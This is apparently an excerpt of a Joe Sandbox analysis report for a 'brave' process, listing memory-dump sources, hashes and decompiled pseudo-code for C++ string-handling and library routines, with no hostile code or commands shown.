0x7ff69f80e275
0x7ff69f80e27e
0x7ff69f80e286
0x7ff69f80e292
0x7ff69f80e29d
0x7ff69f80e2a5
0x7ff69f80e2a7
0x7ff69f80e2bb

APIs

strlen.MSVCRT ref: 00007FF69F80E27E
memcpy.MSVCRT ref: 00007FF69F80E292
free.MSVCRT ref: 00007FF69F80E29D

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction ID: 1f6de7a4e4fb2a0f58c1ffbbb5262fe243ec1fcc7bfc27743bd3d4697a1114d5
Opcode Fuzzy Hash: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction Fuzzy Hash: 0C317022A0A65381FEF55A1193003FB57B0FF4179CF9E45B1EE4E8AAC4DEBCA445A600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81D380 Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF69F81D471

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction ID: 38f5d95bbcf3d909b21d826c027b81a44cad03a763f3a951bbabc7a81ad9964d
Opcode Fuzzy Hash: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction Fuzzy Hash: ACC1A1A3F1865146EBB14A24860037A37B1FB147A8F2647B4DE3D9B7C5CE3DF846A640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81A7D0 Relevance: 6.3, APIs: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF69F81A8C1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction ID: f064109a8cf53af109e636fc6aed6f68da9d24ee9818c577e8a046350c98c1e4
Opcode Fuzzy Hash: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction Fuzzy Hash: 29C19162F1824266E7B14A24C20537A37B1FB04778F1743B5DA7E967C5CE3DE886A740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80D760 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 315
stringCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF67FF69F80D760(signed int __eax, signed int __edx, void* __rax, signed char* __rcx, long long __rdx, long long __r8) {
				signed int _t83;
				void* _t86;
				int _t89;
				signed int _t91;
				void* _t94;
				signed int _t108;
				void* _t111;
				void* _t113;
				long long _t137;
				signed long long _t140;
				unsigned long long _t160;
				long long* _t165;
				void* _t166;
				void* _t167;
				void* _t168;
				void* _t169;
				void* _t170;
				signed long long _t182;
				void* _t184;
				signed char* _t188;
				void* _t189;
				signed char* _t190;

				_t167 = _t166 - 0x218;
				_t165 = _t167 + 0x80;
				r15d =  *__rcx & 0x000000ff;
				_t111 = r15b - 0x5f;
				if (_t111 == 0) goto 0x9f80dad0;
				asm("repe cmpsb");
				asm("sbb al, 0x0");
				r14d = 0;
				if ((__eax & 0xffffff00 | _t111 > 0x00000000) != 0) goto 0x9f80d7e0;
				_t113 = (__rcx[8] & 0x000000ff) - 0x24 - 0x3b;
				if (_t113 > 0) goto 0x9f80d7e0;
				asm("dec eax");
				if (_t113 >= 0) goto 0x9f80d7e0;
				_t83 = __rcx[9] & 0x000000ff;
				if (_t83 == 0x44) goto 0x9f80db10;
				if (_t83 == 0x49) goto 0x9f80db10;
				strlen(??);
				 *((long long*)(_t165 - 0x50)) = __rcx;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x11;
				r8d = __rax + __rax;
				 *((long long*)(_t165 - 0x48)) = __rax + __rcx;
				 *(_t165 - 0x38) = __rcx;
				 *(_t165 - 0x24) = r8d;
				 *((intOrPtr*)(_t165 - 0x28)) = 0;
				 *((intOrPtr*)(_t165 - 0x14)) = __edx;
				 *((intOrPtr*)(_t165 - 0x18)) = 0;
				 *((long long*)(_t165 - 0x10)) = 0;
				 *((long long*)(_t165 - 8)) = 0;
				 *_t165 = 0;
				if (r8d - 0x800 > 0) goto 0x9f80dab3;
				_t86 = E00007FF67FF69F80F680(0);
				_t168 = _t167 - (r8d << 5);
				_t160 = _t168 + 0x27;
				E00007FF67FF69F80F680(_t86);
				_t169 = _t168 - (0x0000000f + __edx * 0x00000008 & 0xfffffff0);
				 *(_t165 - 0x30) = _t160 & 0xfffffff8;
				_t137 = _t169 + 0x20;
				 *((long long*)(_t165 - 0x20)) = _t137;
				if (r14d == 1) goto 0x9f80dae8;
				_t23 = _t189 - 2; // -2
				if (_t23 - 1 > 0) goto 0x9f80daf8;
				_t190 =  &(__rcx[0xb]);
				 *(_t165 - 0x38) = _t190;
				if (__rcx[0xb] != 0x5f) goto 0x9f80d8b8;
				if (__rcx[0xc] == 0x5a) goto 0x9f80dc32;
				 *(_t165 - 0x60) = _t160 >> 3;
				 *(_t165 - 0x54) = r8d;
				_t89 = strlen(??);
				r8d =  *(_t165 - 0x54);
				_t182 =  *(_t165 - 0x60);
				if (r8d <= 0) goto 0x9f80dbf3;
				 *((long long*)(4 + _t182 * 8)) = 0;
				 *((intOrPtr*)(_t165 - 0x28)) = 1;
				if (_t89 <= 0) goto 0x9f80dbf3;
				 *(_t182 * 8) = 0;
				 *(0x10 + _t182 * 8) = _t190;
				 *(0x18 + _t182 * 8) = _t89;
				r9d = 0;
				E00007FF67FF69F804DD0();
				strlen(??);
				_t188 =  &(( *(_t165 - 0x38))[_t137]);
				 *(_t165 - 0x38) = _t188;
				_t91 =  *_t188 & 0x000000ff;
				if (_t91 != 0) goto 0x9f80daee;
				if (_t137 == 0) goto 0x9f80daee;
				 *((long long*)(_t165 + 0x120)) = __rdx;
				_t184 = _t165 + 0x10;
				 *((char*)(_t165 + 0x118)) = 0;
				 *((long long*)(_t165 + 0x110)) = 0;
				 *((long long*)(_t165 + 0x128)) = __r8;
				 *((long long*)(_t165 + 0x130)) = 0;
				 *((long long*)(_t165 + 0x138)) = 0;
				 *((long long*)(_t165 + 0x140)) = 0;
				 *((long long*)(_t165 + 0x148)) = 0;
				 *((intOrPtr*)(_t165 + 0x150)) = 0;
				 *((long long*)(_t165 + 0x158)) = 0;
				 *((long long*)(_t165 + 0x160)) = 0;
				 *((long long*)(_t165 + 0x168)) = 0;
				 *((long long*)(_t165 + 0x170)) = 0;
				 *((long long*)(_t165 + 0x178)) = 0;
				E00007FF67FF69F8050B0();
				if ( *((intOrPtr*)(_t165 + 0x144)) - 0x7ff > 0) goto 0x9f80da0c;
				 *((intOrPtr*)(_t165 + 0x144)) = 0;
				 *((long long*)(_t165 + 0x180)) = 0;
				_t108 =  *(_t165 + 0x17c) * _t91;
				_t139 =  <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c));
				_t140 = ( <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c))) << 4;
				 *(_t165 + 0x17c) = _t108;
				E00007FF67FF69F80F680(_t91);
				_t170 = _t169 - _t140;
				_t94 =  >  ? _t108 : 1;
				E00007FF67FF69F80F680(_t140);
				 *((long long*)(_t165 + 0x160)) = _t170 + 0x20;
				 *((long long*)(_t165 + 0x170)) = _t170 - (_t140 << 4) + 0x20;
				E00007FF67FF69F80BFE0(_t184, _t137);
				 *((char*)(_t165 +  *((intOrPtr*)(_t165 + 0x110)) + 0x10)) = 0;
				 *((intOrPtr*)(_t165 + 0x120))();
				return 0 |  *((intOrPtr*)(_t165 + 0x140)) == 0x00000000;
			}

0x7ff69f80d76c
0x7ff69f80d773
0x7ff69f80d77b
0x7ff69f80d788
0x7ff69f80d78c
0x7ff69f80d7a1
0x7ff69f80d7a6
0x7ff69f80d7a8
0x7ff69f80d7ad
0x7ff69f80d7b7
0x7ff69f80d7b9
0x7ff69f80d7c5
0x7ff69f80d7c9
0x7ff69f80d7cb
0x7ff69f80d7d2
0x7ff69f80d7da
0x7ff69f80d7e3
0x7ff69f80d7e8
0x7ff69f80d7f2
0x7ff69f80d7f9
0x7ff69f80d7fd
0x7ff69f80d803
0x7ff69f80d807
0x7ff69f80d80b
0x7ff69f80d812
0x7ff69f80d815
0x7ff69f80d81c
0x7ff69f80d824
0x7ff69f80d82c
0x7ff69f80d83b
0x7ff69f80d84b
0x7ff69f80d850
0x7ff69f80d856
0x7ff69f80d872
0x7ff69f80d877
0x7ff69f80d87a
0x7ff69f80d87e
0x7ff69f80d883
0x7ff69f80d88b
0x7ff69f80d891
0x7ff69f80d898
0x7ff69f80d89e
0x7ff69f80d8a7
0x7ff69f80d8ab
0x7ff69f80d8b2
0x7ff69f80d8bb
0x7ff69f80d8bf
0x7ff69f80d8c3
0x7ff69f80d8c8
0x7ff69f80d8cc
0x7ff69f80d8d3
0x7ff69f80d8d9
0x7ff69f80d8e5
0x7ff69f80d8ee
0x7ff69f80d8f4
0x7ff69f80d904
0x7ff69f80d90c
0x7ff69f80d923
0x7ff69f80d929
0x7ff69f80d938
0x7ff69f80d93d
0x7ff69f80d940
0x7ff69f80d944
0x7ff69f80d94b
0x7ff69f80d954
0x7ff69f80d95a
0x7ff69f80d961
0x7ff69f80d96b
0x7ff69f80d972
0x7ff69f80d97d
0x7ff69f80d984
0x7ff69f80d98f
0x7ff69f80d99a
0x7ff69f80d9a5
0x7ff69f80d9b0
0x7ff69f80d9ba
0x7ff69f80d9c5
0x7ff69f80d9d0
0x7ff69f80d9db
0x7ff69f80d9e6
0x7ff69f80d9f1
0x7ff69f80da00
0x7ff69f80da02
0x7ff69f80da21
0x7ff69f80da2c
0x7ff69f80da31
0x7ff69f80da35
0x7ff69f80da39
0x7ff69f80da3f
0x7ff69f80da44
0x7ff69f80da4b
0x7ff69f80da59
0x7ff69f80da66
0x7ff69f80da78
0x7ff69f80da7f
0x7ff69f80da98
0x7ff69f80da9d
0x7ff69f80dac6

APIs

strlen.MSVCRT ref: 00007FF69F80D7E3
strlen.MSVCRT ref: 00007FF69F80D8C3
strlen.MSVCRT ref: 00007FF69F80D938

Strings

_GLOBAL_, xrefs: 00007FF69F80D797

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strlen
String ID: _GLOBAL_
API String ID: 39653677-770460502
Opcode ID: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction ID: 43cc04082532238bbe481b29485d2a6b8c5026926bad590aef173908d5a572b2
Opcode Fuzzy Hash: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction Fuzzy Hash: 57D10433A0A6C588F7B08B2199143FE3BB5EB05398F8A4075DA5D97789CFBC9545E700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81D8C0 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction ID: fb79abea5f0b3688008014dd76a58360ce29c59bd867133a2daa595a122a4caa
Opcode Fuzzy Hash: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction Fuzzy Hash: 29917D73B0865286EBB58E29820537A77B1EB04B94F568371CE2D977C5DE3CE841E740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81AD10 Relevance: 6.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction ID: 4c7d629f9529b7d3a2f65f60cb901dfd5d7611074309c857831b72921456e98d
Opcode Fuzzy Hash: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction Fuzzy Hash: 6C9191B2B0965296E7B58E29C20037A7BB1EB04BA4F568371CE2D973C4DE3CE841D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F829C50 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F829C50(void* __eflags, long long* __rcx, signed char* __rdx, long long __r8) {
				long long _v32;
				signed int _t6;
				long long _t15;

				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				if (__eflags == 0) goto 0x9f829c75;
				if (__rdx == 0) goto 0x9f829ce4;
				_v32 = __r8;
				if (__r8 - 0xf > 0) goto 0x9f829cb0;
				if (__r8 != 1) goto 0x9f829ca0;
				_t6 =  *__rdx & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = __r8;
				 *((char*)(_t15 + __r8)) = 0;
				return _t6;
			}

0x7ff69f829c5e
0x7ff69f829c68
0x7ff69f829c6e
0x7ff69f829c73
0x7ff69f829c75
0x7ff69f829c7e
0x7ff69f829c84
0x7ff69f829c86
0x7ff69f829c8b
0x7ff69f829c8e
0x7ff69f829c92
0x7ff69f829c9e

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF69F829CE4, 00007FF69F829D94, 00007FF69F829E44

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction ID: 098dd713bb55ba20dddb294d6f43afb9fea8b9ff597c7e7ef41f836230c66035
Opcode Fuzzy Hash: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction Fuzzy Hash: 6D51C162A09A5180EBB1AB19E5001F9B7B0FB49BE4F4949B1DE8C87759DE3DE543F300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F828FA0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F828FA0(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x9f828fd2;
				r9d = 0;
				_t3 = E00007FF67FF69F826C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff69f828fa5
0x7ff69f828fa8
0x7ff69f828fb1
0x7ff69f828fbc
0x7ff69f828fc1
0x7ff69f828fc4
0x7ff69f828fc9
0x7ff69f828fd1

Strings

basic_string::basic_string, xrefs: 00007FF69F828FD5, 00007FF69F829033, 00007FF69F829093
basic_string::_S_construct null not valid, xrefs: 00007FF69F82912A
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F828FDC, 00007FF69F82903A, 00007FF69F82909A

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction ID: 87c215bfd0b33274049b5df91469eca772f4b0282005605e4c6df2bb87809f64
Opcode Fuzzy Hash: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction Fuzzy Hash: 8B4108A1F0664981FF21AB62E9543FD63B0EB64BC4F454871DE0C8B399EE2CD556D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F828980 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F828980(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x9f8289b2;
				r9d = 0;
				_t3 = E00007FF67FF69F826C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff69f828985
0x7ff69f828988
0x7ff69f828991
0x7ff69f82899c
0x7ff69f8289a1
0x7ff69f8289a4
0x7ff69f8289a9
0x7ff69f8289b1

Strings

basic_string::basic_string, xrefs: 00007FF69F8289B5, 00007FF69F828A13, 00007FF69F828A73
basic_string::_S_construct null not valid, xrefs: 00007FF69F828B0A
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F8289BC, 00007FF69F828A1A, 00007FF69F828A7A

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction ID: ac48b5d5d13fcd17212f40e78c384c72b724c6670850f2b35d9902cbe3b4d31f
Opcode Fuzzy Hash: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction Fuzzy Hash: 5C4139A2F0664581FF20AB61E9553FD63A0EB64BC4F454472CE0D8B39AEE2CD592D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82F340 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF69F82F340(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx >> 1 -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x9f82f36d;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF67FF69F82DEF0(_t5, _t6, __rcx, __rdx -  *__rcx >> 1,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff69f82f358
0x7ff69f82f35a
0x7ff69f82f35f
0x7ff69f82f36c

APIs

wcslen.MSVCRT ref: 00007FF69F82F3A5

Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DF96
